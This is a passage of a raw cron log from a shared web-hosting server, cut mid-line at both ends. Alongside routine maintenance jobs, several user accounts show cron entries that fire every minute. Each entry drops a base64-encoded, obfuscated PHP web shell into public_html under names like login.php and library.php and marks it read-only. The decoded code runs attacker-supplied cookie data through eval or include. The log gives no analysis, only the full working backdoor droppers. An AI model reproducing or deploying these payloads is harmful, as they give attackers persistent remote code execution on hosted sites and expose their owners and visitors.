rATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:55:01 medusa CROND[12978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:56:01 medusa CROND[1918]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:56:01 medusa CROND[1919]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:56:01 medusa CROND[1921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:56:01 medusa CROND[1920]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:56:01 medusa CROND[1922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:56:01 medusa CROND[1923]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:56:01 medusa CROND[1926]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:56:01 medusa CROND[1932]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:56:01 medusa CROND[1936]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:56:01 medusa CROND[1937]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:56:01 medusa CROND[1949]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:56:01 medusa CROND[1933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:56:01 medusa CROND[1947]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:56:01 medusa CROND[1944]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:57:01 medusa CROND[22264]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:57:01 medusa CROND[22385]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:57:01 medusa CROND[22387]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:57:01 medusa CROND[22386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:57:01 medusa CROND[22388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:57:01 medusa CROND[22391]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:57:01 medusa CROND[22392]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:57:01 medusa CROND[22393]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:57:01 medusa CROND[22398]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:57:01 medusa CROND[22399]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:57:01 medusa CROND[22401]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:57:01 medusa CROND[22405]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:58:01 medusa CROND[9064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:58:01 medusa CROND[9186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:58:01 medusa CROND[9249]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:58:01 medusa CROND[9252]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:58:01 medusa CROND[9253]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:58:01 medusa CROND[9254]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:58:01 medusa CROND[9259]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 